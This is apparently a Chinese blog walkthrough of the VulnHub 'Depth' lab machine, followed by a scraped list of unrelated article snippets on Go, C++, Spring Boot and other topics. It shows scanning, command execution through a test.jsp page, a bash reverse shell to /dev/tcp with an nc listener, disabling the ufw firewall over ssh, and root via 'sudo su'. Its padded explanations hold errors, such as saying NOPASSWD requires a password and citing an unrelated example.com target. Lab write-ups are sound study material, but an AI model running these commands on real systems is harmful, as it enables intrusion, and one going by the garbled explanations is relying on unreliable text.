Depth靶机详解
靶机下载地址
https://www.vulnhub.com/entry/depth-1,213/

主机发现
arp-scan -l

端口扫描
nmap -sV -A -T4 192.168.229.156

端口利用
http://192.168.229.156:8080/

目录扫描
dirb "http://192.168.229.156:8080"

dirsearch -u "http://192.168.229.156:8080"

拼接访问
提示我们可以使用命令
http://192.168.229.156:8080/test.jsp

尝试使用命令
ls -la /home

在 Linux 系统中,/home 目录通常包含每个用户的个人目录。使用 ls -la /home 命令可以查看 /home 目录下的内容,包括隐藏文件和目录。
具体的输出内容取决于系统上是否有用户创建了个人目录,以及这些用户是否有特定的权限或属性。
以下是一些常见的输出示例:
drwxr-xr-x 2 user1 users 4096 Sep 13 12:34 user1
drwxr-xr-x 2 user2 users 4096 Sep 12 08:15 user2
drwxr-xr-x 2 user3 users 4096 Sep 11 20:45 user3
其中,每行表示一个目录,其中包含以下信息:
- 权限:以
drwxr-xr-x开头,表示目录的权限和属性。 - 硬链接数:表示目录的硬链接数,通常为 2。
- 所有者:表示目录的所有者,通常为用户名。
- 组:表示目录所属的组,通常为组名。
- 大小:表示目录的大小,以字节为单位。
- 修改时间:表示目录的最后修改时间。
- 目录名:表示目录的名称,通常为用户名。
这些信息可以帮助你了解系统上是否有个人目录,以及每个用户的个人目录的权限和属性。
反弹shell
尝试是否可以输入反弹shell命令
开启监听
nc -lvvp 6767

谷歌插件生成命令,IP是kali的ip
bash -i >& /dev/tcp/192.168.229.132/6767 0>&1



反弹失败
查看进程
ps aux

发现开启了ssh服务,之前端口扫描扫不到可能是因为防火墙开启,查看etc
ls -ls /etc

linux防火墙ufw,说明存在防火墙
在 Linux 系统中,/etc 目录通常包含系统配置文件。以下是一些与防火墙相关的文件名:
iptables.rules:这是一个常见的文件名,用于保存 iptables 的规则。iptables.up.rules:这是一个文件名,用于保存 iptables 的规则,在系统启动时加载。firewalld.conf:这是一个文件名,用于配置 firewalld 服务的配置文件。ufw.conf:这是一个文件名,用于配置 ufw(Uncomplicated Firewall)的配置文件。ufw.rules:这是一个文件名,用于保存
尝试关闭防火墙
在 Linux 系统中,关闭防火墙的命令可能因不同的发行版而异。以下是一些常见的命令:
- Ubuntu/Debian 系列:
sudo ufw disable
- CentOS/Fedora 系列:
sudo systemctl stop firewalld
sudo systemctl disable firewalld
- Arch Linux:
sudo systemctl stop firewalld
sudo systemctl disable firewalld
- OpenSUSE:
sudo systemctl stop SuSEfirewall2
sudo systemctl disable SuSEfirewall2
这些命令将关闭系统的防火墙,并禁止防火墙在系统启动时自动启动。
请注意,上述命令需要在具有 root 权限的用户下执行。
执行命令
ssh bill@localhost sudo ufw disable

这个命令的含义是:
- 使用 SSH 连接到名为
bill的用户的本地主机。 - 使用
sudo命令以超级用户权限运行ufw disable命令。
具体来说,sudo 命令用于以超级用户权限运行命令,而 ufw disable 命令用于禁用 Uncomplicated Firewall (UFW)。
在实际执行这个命令之前,你需要确保以下条件:
- 当前用户有权限使用 SSH 连接到名为
bill的用户的本地主机。 - 名为
bill的用户具有超级用户权限,即在系统上具有 root 权限。 - UFW 服务已经正确安装并在系统上运行。
尝试利用ssh再次反弹shell
开启监听
nc -lvvp 6767

ssh bill@localhost bash -i >& /dev/tcp/192.168.229.132/6767 0>&1

反弹成功

提权
当在Linux或Unix系统中输入sudo -l命令时,会显示当前用户能够使用sudo命令执行的命令列表。
sudo -l命令的作用是列出当前用户能够使用sudo命令执行的命令,而不需要输入密码。当用户尝试使用sudo命令执行某些命令时,系统会检查该用户的权限是否允许执行该命令。如果用户有权限执行该命令,那么sudo命令会允许用户执行该命令,否则会提示用户没有权限执行该命令。
sudo -l命令可以帮助用户了解当前用户的权限范围,以便更好地使用sudo命令执行命令。
例如,如果当前用户是admin用户,并且想要查看admin用户能够使用sudo命令执行的命令,可以输入以下命令:
sudo -l
如果输出显示admin用户有权限执行某些命令,那么说明admin用户可以使用sudo命令执行这些命令,而不需要输入密码。
如果输出显示admin用户没有权限执行任何命令,那么说明admin用户没有任何使用sudo命令执行命令的权限,或者系统配置了禁止使用sudo命令执行某些命令的策略。
sudo -l命令的输出结果可能包括以下几种情况:
- 显示当前用户能够使用sudo命令执行的命令列表,例如:
(admin) ALL = (ALL) ALL
表示admin用户可以使用sudo命令执行所有命令,并且不需要输入密码。
- 显示当前用户能够使用sudo命令执行的命令列表,并且需要输入密码,例如:
(admin) ALL = (ALL) NOPASSWD: ALL
表示admin用户可以使用sudo命令执行所有命令,但是需要输入密码。
- 显示当前用户能够使用sudo命令执行的命令列表,并且需要输入密码,并且只有在特定时间段内才可以执行,例如:
(admin) ALL = (ALL) NOPASSWD: ALL, !/usr/bin/passwd
表示admin用户可以使用sudo命令执行所有命令,但是需要输入密码,并且除了执行/usr/bin/passwd命令外,其他命令都可以不输入密码。
- 显示当前用户能够使用sudo命令执行的命令列表,并且需要输入密码,并且只有在特定时间段内才可以执行,并且需要输入特定的密码,例如:
(admin) ALL = (ALL) PASSWD: ALL, !/usr/bin/passwd
表示admin用户可以使用sudo命令执行所有命令,并且需要输入密码,并且除了执行/usr/bin/passwd命令外,其他命令都需要输入特定的密码。
需要注意的是,sudo -l命令只会显示当前用户能够使用sudo命令执行的命令列表,而不包括其他用户的权限设置。如果想要查看其他用户的权限设置,需要使用sudo命令进行操作,并且需要其他用户的密码。
因此,sudo -l命令是一个非常有用的命令,可以帮助用户了解当前用户的权限范围,以便更好地使用sudo命令执行命令。
如果没有输出结果或者显示没有权限,那么表明当前用户没有任何使用sudo命令执行命令的权限,或者系统配置了禁止使用sudo命令执行某些命令的策略。
sudo -l

根据提供的信息,我们能够得知以下内容:
- 目标 URL 是
https://example.com/api/search。 - 使用
sudo -l命令的输出显示,用户bill可以以任何用户身份运行任何命令,包括root用户。 - 用户
bill可以以超级用户权限运行任何命令,而无需输入密码。
根据这些信息,我们可以尝试以下方法来提权:
- 使用
sudo su命令切换到root用户,不需要输入密码。 - 使用
sudo -u root命令以root用户的身份执行命令,不需要输入密码。 - 使用
sudo bash命令以root用户的身份启动一个新的 Bash 会话,不需要输入密码。
sudo su
whoami
id

提权成功
相关文章:
Depth靶机详解
靶机下载地址 https://www.vulnhub.com/entry/depth-1,213/ 主机发现 arp-scan -l 端口扫描 nmap -sV -A -T4 192.168.229.156 端口利用 http://192.168.229.156:8080/ 目录扫描 dirb "http://192.168.229.156:8080" dirsearch -u "http://192.168.229.15…...
go get -u @latest没有更新依赖模块
使用 go get -u gitee.com/qingfeng-169/hello-blatest 时,如果没有进行更新,可能有以下几种原因: 1. 没有发布稳定版本 (vX.X.X) latest 表示获取该模块最新的稳定版本(即带有 vX.X.X 形式的版本号),而不…...
介绍一些免费 的 html 5模版网站 和配色 网站
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 前言一、H5 网站介绍网站 二、配色网站个人推荐 前言 提示:以下是本篇文章正文内容,下面案例可供参考 一、H5 网站介绍 以下是一些提供免费…...
【C++】入门基础(下)
Hi!很高兴见到你~ 目录 7、引用 7.3 引用的使用(实例) 7.4 const引用 【第一分点】 【第二分点1】 【第二分点2】 7.5 指针和引用的关系(面试点) 8、inline 9、nullptr Relaxing Time! ———…...
Spring Boot 集成 MongoDB - 入门指南
引言 随着NoSQL数据库的流行,MongoDB 成为了许多现代Web应用程序的首选数据库之一。它提供了高性能、高可用性和易于扩展的能力。Spring Boot 框架以其开箱即用的理念简化了Java应用程序的开发过程。本文将指导您如何在Spring Boot项目中集成MongoDB,以…...
基于云计算的虚拟电厂负荷预测
基于云计算的虚拟电厂负荷预测 随着电网规模的扩大及新能源的不断应用,并网电网的安全性和经济性备受关注。 电网调度不再是单一或局部控制,而是采用智能网络集成方式调度 。 智能电网应具有以下特点:坚强自愈,可以抵御外来干扰甚…...
Android应用性能优化
Android手机由于其本身的后台机制和硬件特点,性能上一直被诟病,所以软件开发者对软件本身的性能优化就显得尤为重要;本文将对Android开发过程中性能优化的各个方面做一个回顾与总结。 Cache优化 ListView缓存: ListView中有一个回…...
fiddler抓包01:工具介绍
课程大纲 fiddler是一款常见的抓包工具,可以对web端和移动端的接口请求进行抓包(截获)、分析、编辑、模拟等,还可以导出jmeter、Loadrunner测试脚本。 1、原理 fiddler作为代理服务器,拦截请求和服务器响应。 2、使用…...
Spring Boot母婴商城:打造一站式购物体验
1 绪论 1.1 研究背景 当前社会各行业领域竞争压力非常大,随着当前时代的信息化,科学化发展,让社会各行业领域都争相使用新的信息技术,对行业内的各种相关数据进行科学化,规范化管理。这样的大环境让那些止步不前&#…...
【面试八股总结】GC垃圾回收机制
垃圾回收策略(Garbage Collection,GC)用于回收不再使用的内存,避免系统的内存被占满。Go1.3之前采用标记清除法, Go1.3之后采用三色标记法,Go1.8采用三色标记法混合写屏障。 前置概念: 1&#x…...
arcgisPro修改要素XY容差
1、在arcgisPro中XY容差的默认值为1个毫米,及0.001米。为了更精细的数据,需要提高这个精度,如何提高呢? 2、如果直接在数据库下新建要素类,容差只能调至0.0002米。所以,需要在数据库下新建要素数据集。 3…...
Java 21的Enhanced Deprecation的笔记
Java Core Libraries Enhanced Deprecation 废弃API,一般可以理解为不推荐开发者在项目中使用的API,当前为了保持兼容,在JDK中保留,未来可能会删除。 作为开发者,使用工具jdeprscan可以方便的查找现有代码中存在的一些…...
Ubuntu下Git使用教程:从入门到实践
引言 在软件开发和版本控制领域,Git无疑是最为流行的工具之一。它不仅能够帮助我们高效地管理代码,还能促进团队协作,确保项目的持续集成与交付。对于使用Ubuntu操作系统的开发者而言,掌握Git的使用技巧尤为重要。本文将带您一步…...
【开放词汇检测】基于MMDetection的MM-Grounding-DINO实战
文章目录 摘要安装基础环境新建虚拟环境安装pytorch安装openmim、mmengine、mmcv安装 MMDetection验证安装配置OV-DINO环境 MMDetection的MM-Grounding-DINO详细介绍测试结果Zero-Shot COCO 结果与模型Zero-Shot LVIS ResultsZero-Shot ODinW(野生环境下的目标检测&…...
PLC-Recorder 对西门子传动的采集方法
目录 一、增加西门子传动的通道 二、变量配置 2.1 语法格式 a:装置号 b:参数号 c:参数下标 2.2 配置及连接测试情况 三、正式采集 四、小结 PLC-Recorder V3.4.0版本增加了西门子传动参数采集的功能(增加了传动的设备类型&a…...
【网络通信基础与实践第三讲】传输层协议概述包括UDP协议和TCP协议
一、进程间的通信 通信的两端应当是两个主机中的应用进程,也就是说,端到端的通信是应用进程之间的通信 运输层有一个很重要的功能就是复用和分用,复用是指在发送方不同的应用进程都可以使用同一个运输层协议传送数据,分用是指接…...
centos更改静态ip
点击网络和internet设置 点击更改适配器 、点击属性...
YOLOv5/v8 + 双目相机测距
yolov5/v8双目相机测距的代码,需要相机标定 可以训练自己的模型并检测测距,都是python代码 已多次实验,代码无报错。 非常适合做类似的双目课题! 相机用的是汇博视捷的双目相机,具体型号见下图。 用的yolov5是6.1版本的…...
双三次插值及MATLAB实现
一、双三次插值的概念 双三次插值(Bicubic interpolation),又叫双立方插值。在数值分析这个数学分支中,双三次插值是二维空间中最常用的插值方法。在这种方法中,函数f在点 (x0 ,y0) 的值不仅考虑其直接邻接点对其的影响…...
Kubernetes 持续集成与交付(CI/CD)
Kubernetes 持续集成与交付(CI/CD)详解 Kubernetes 是目前主流的容器编排平台,而在 DevOps 的实践中,持续集成与持续交付(CI/CD)是自动化软件开发与运维的核心环节。Kubernetes 与 CI/CD 的结合࿰…...
Xshell远程连接Kali(默认 | 私钥)Note版
前言:xshell远程连接,私钥连接和常规默认连接 任务一 开启ssh服务 service ssh status //查看ssh服务状态 service ssh start //开启ssh服务 update-rc.d ssh enable //开启自启动ssh服务 任务二 修改配置文件 vi /etc/ssh/ssh_config //第一…...
在rocky linux 9.5上在线安装 docker
前面是指南,后面是日志 sudo dnf config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo sudo dnf install docker-ce docker-ce-cli containerd.io -y docker version sudo systemctl start docker sudo systemctl status docker …...
线程与协程
1. 线程与协程 1.1. “函数调用级别”的切换、上下文切换 1. 函数调用级别的切换 “函数调用级别的切换”是指:像函数调用/返回一样轻量地完成任务切换。 举例说明: 当你在程序中写一个函数调用: funcA() 然后 funcA 执行完后返回&…...
聊聊 Pulsar:Producer 源码解析
一、前言 Apache Pulsar 是一个企业级的开源分布式消息传递平台,以其高性能、可扩展性和存储计算分离架构在消息队列和流处理领域独树一帜。在 Pulsar 的核心架构中,Producer(生产者) 是连接客户端应用与消息队列的第一步。生产者…...
解锁数据库简洁之道:FastAPI与SQLModel实战指南
在构建现代Web应用程序时,与数据库的交互无疑是核心环节。虽然传统的数据库操作方式(如直接编写SQL语句与psycopg2交互)赋予了我们精细的控制权,但在面对日益复杂的业务逻辑和快速迭代的需求时,这种方式的开发效率和可…...
C++ 求圆面积的程序(Program to find area of a circle)
给定半径r,求圆的面积。圆的面积应精确到小数点后5位。 例子: 输入:r 5 输出:78.53982 解释:由于面积 PI * r * r 3.14159265358979323846 * 5 * 5 78.53982,因为我们只保留小数点后 5 位数字。 输…...
LINUX 69 FTP 客服管理系统 man 5 /etc/vsftpd/vsftpd.conf
FTP 客服管理系统 实现kefu123登录,不允许匿名访问,kefu只能访问/data/kefu目录,不能查看其他目录 创建账号密码 useradd kefu echo 123|passwd -stdin kefu [rootcode caozx26420]# echo 123|passwd --stdin kefu 更改用户 kefu 的密码…...
【Go语言基础【12】】指针:声明、取地址、解引用
文章目录 零、概述:指针 vs. 引用(类比其他语言)一、指针基础概念二、指针声明与初始化三、指针操作符1. &:取地址(拿到内存地址)2. *:解引用(拿到值) 四、空指针&am…...
vulnyx Blogger writeup
信息收集 arp-scan nmap 获取userFlag 上web看看 一个默认的页面,gobuster扫一下目录 可以看到扫出的目录中得到了一个有价值的目录/wordpress,说明目标所使用的cms是wordpress,访问http://192.168.43.213/wordpress/然后查看源码能看到 这…...
深入理解Optional:处理空指针异常
1. 使用Optional处理可能为空的集合 在Java开发中,集合判空是一个常见但容易出错的场景。传统方式虽然可行,但存在一些潜在问题: // 传统判空方式 if (!CollectionUtils.isEmpty(userInfoList)) {for (UserInfo userInfo : userInfoList) {…...
